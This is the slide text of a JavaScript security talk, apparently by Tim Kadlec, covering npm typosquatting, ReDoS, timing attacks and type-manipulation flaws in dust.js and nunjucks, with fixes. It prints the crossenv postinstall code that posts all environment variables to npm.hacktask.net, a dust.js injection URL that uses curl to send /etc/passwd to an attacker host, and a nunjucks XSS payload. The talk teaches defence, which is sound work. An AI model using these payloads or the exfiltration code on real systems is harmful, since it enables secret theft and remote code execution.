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JAVASCRIPT EXPOSED Tim Kadlec | @tkadlec

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TYPOSQUATTING

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{ "name": "crossenv", "version": "6.1.1", "description": "Run scripts that set and use environment variables across platforms", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "postinstall": "node package-setup.js" }, "author": "Kent C. Dodds (http://kentcdodds.com/)", "license": "ISC", "dependencies": { "cross-env": "^5.0.1" } }

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{ "name": "crossenv", "version": "6.1.1", "description": "Run scripts that set and use environment variables across platforms", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "postinstall": "node package-setup.js" }, "author": "Kent C. Dodds (http://kentcdodds.com/)", "license": "ISC", "dependencies": { "cross-env": "^5.0.1" } }

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const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();

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const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();

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const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();

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CAN YOU TRUST THIRD-PARTY CODE?

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THE RISK OF ABSTRACTIONS

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~83% FIND A VULNERABILITY

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var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload = function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send();

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var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload = function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }

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var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload = function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }

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var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload = function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }

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var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload = function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }

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var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload = function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }

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$.getJSON('/my/url', {}) .done(function(){ // Success! }) .fail(function(){ // Error! });

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var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload = function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }

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$.getJSON('/my/url', {}) .done(function(){ // Success! }) .fail(function(){ // Error! });

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$.get('/my/url', {});

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JS fatigue

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JS fatigue

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JS fatigue

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CAN YOU TRUST THIRD-PARTY CODE?

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CAN YOU TRUST CODE?

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HACKED WILL BE HACKED

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HACKED WILL BE HACKED

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20-30 bugs per 1,000 lines of code

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77% USE A VULNERABLE JS LIBRARY

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NOT GREAT BUT FIXABLE

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EVERYONE’S RESPONSIBILITY

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WEAKNESSES IN THE LANGUAGE & ECOSYSTEM

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THE EVENT LOOP

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ first(); console.log("How's it going?"); }; second();

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ first(); console.log("How's it going?"); }; second();

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ first(); console.log("How's it going?"); }; second(); second()

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ first(); console.log("How's it going?"); }; second(); second()

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ first(); console.log("How's it going?"); }; second(); second() first()

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ first(); console.log("How's it going?"); }; second(); second() first()

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ first(); console.log("How's it going?"); }; second(); second()

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ first(); console.log("How's it going?"); }; second(); second()

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ first(); console.log("How's it going?"); }; second();

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second();

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second();

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second()

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second()

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() setTimeout()

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() 0ms, console.log

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() console.log

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() console.log

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() first() console.log

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() first() console.log

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() console.log

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() console.log

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); console.log

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); console.log

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); console.log

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var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second();

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ReDoS REGULAR EXPRESSION DENIAL OF SERVICE

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var regex = /A(B|C+)+D/;

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var regex = /A(B|C+)+D/; A

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var regex = /A(B|C+)+D/; (B|C+)

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var regex = /A(B|C+)+D/; +

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var regex = /A(B|C+)+D/; D

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var regex = /A(B|C+)+D/; ABBD ABCCCCD ABCBCCCD ACCCCCD

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ACCCX CCC CC+C C+CC C+C+C var regex = /A(B|C+)+D/;

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String Number of C’s Number of Steps ACCCX 3 38 ACCCCX 4 71 ACCCCCX 5 136 ACCCCCCCCCCCCCCX 14 65,553

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moment().format('MMM Do YY');

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moment().format('MMM Do YY'); var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s+) +MMMM?/;

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moment().format('MMM Do YY'); var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s+) +MMMM?/; \s+)

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m().format("D MMN MMMM"); var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s+) +MMMM?/;

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var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s+) +MMMM?/;

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var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s +)MMMM?/;

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TIMING ATTACK

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function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a- e6d0ddb8bbba"; if (token == ADMIN_UUID) { return true; } return false; }

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function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a- e6d0ddb8bbba"; if (token == ADMIN_UUID) { return true; } return false; } token == ADMIN_UUID

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foo == bar

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foo == bar f b

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foo == fox

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foo == fox f f

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foo == fox fo fo

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foo == fox foo fox

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function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a- e6d0ddb8bbba"; if (token == ADMIN_UUID) { return true; } return false; }

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function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a- e6d0ddb8bbba"; var mismatch = 0; for (var i = 0; i < token.length; ++i) { mismatch |= (token.charCodeAt(i) ^ ADMIN_UUID.charCodeAt(i)); } return mismatch; }

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DYNAMIC TYPING

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var foo = true; foo = 1; foo = "hotdogs";

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TYPE MANIPULATION

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{@if cond="'{device}' == 'desktop'"}
Desktop version
{:else}
Mobile Version
{/if}

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"if": function( chunk, context, bodies, params ){ ... var cond = params.cond; cond = dust.helpers.tap(cond, chunk, context); // eval expressions with given dust references if(eval(cond)){ ... } }

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NEVER TRUST USER INPUT

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dust.escapeHtml = function(s) { if (typeof s === 'string') { if (!HCHARS.test(s)) { return s; } return s.replace(AMP,'&').replace(...) // more char replacements } return s; }

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dust.escapeHtml = function(s) { if (typeof s === 'string') { if (!HCHARS.test(s)) { return s; } return s.replace(AMP,'&').replace(...) // more char replacements } return s; }

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qs.parse('a'); // {a : ''}

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qs.parse('a'); // {a : ''} qs.parse('a=foo'); // {a : 'foo'}

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qs.parse('a'); // {a : ''} qs.parse('a=foo'); // {a : 'foo'} qs.parse('a=foo&b=bar'); // {a : 'foo', b: ‘bar'}

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qs.parse('a'); // {a : ''} qs.parse('a=foo'); // {a : 'foo'} qs.parse('a=foo&b=bar'); // {a : 'foo', b: ‘bar'} qs.parse('a=foo&a=bar'); // {a : ['foo', 'bar']}

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qs.parse('a'); // {a : ''} qs.parse('a=foo'); // {a : 'foo'} qs.parse('a=foo&b=bar'); // {a : 'foo', b: ‘bar'} qs.parse('a=foo&a=bar'); // {a : ['foo', 'bar']} qs.parse('a[]=foo'); // {a : ['foo']}

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https://host/demo?device[]=&device[]=

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https://host/demo?device[]=&device[]= { device: [ '', '' ] }

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https://host/demo?device[]=x&device[]=y'- require('child_process').exec(‘curl+-F +"x=`cat+/etc/passwd`"+artsploit.com')-' eval("'xy'- require('child_process').exec('curl -F \"x=`cat /etc/passwd`\" attacker.com')-'' == 'desktop'");

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DISALLOW DISALLOW NON-STRING PARAMETERS

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NORMALIZE CONVERT TO SINGLE INPUT TYPE

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CUSTOM HANDLING SPECIFIC HANDLING FOR ALLOWED TYPES

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dust.escapeHtml = function(s) { if (typeof s === 'string') { if (!HCHARS.test(s)) { return s; } return s.replace(AMP,'&').replace(...) // more char replacements } return s; }

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dust.escapeHtml = function(s) { if (typeof s === "string" || (s && typeof s.toString === "function")) { if (typeof s !== "string") { s = s.toString(); } if (!HCHARS.test(s)) { return s; } } };

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nunjucks.renderString( 'Hello ', {username: ‘alert(1)' });

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nunjucks.renderString( 'Hello ', {username: ‘alert(1)' }); Hello <script>alert(1)<script>

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escape: function(str) { if(typeof str === 'string') { return r.markSafe(lib.escape(str)); } return str; }

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escape: function(str) { if(typeof str === 'string') { return r.markSafe(lib.escape(str)); } return str; }

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http://host/?username[]=alert(1)</ script>matt nunjucks.renderString( 'Hello ', {username: ['<script>alert(1)</ script>matt'] });

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if(autoescape && !(val instanceof SafeString)) { val = lib.escape(val.toString()); }

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KNOW WHAT HAPPENS UNDER THE HOOD

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FOUNDATIONAL KNOWLEDGE & CREATIVITY

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NOT GREAT BUT FIXABLE

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THANK YOU Tim Kadlec | @tkadlec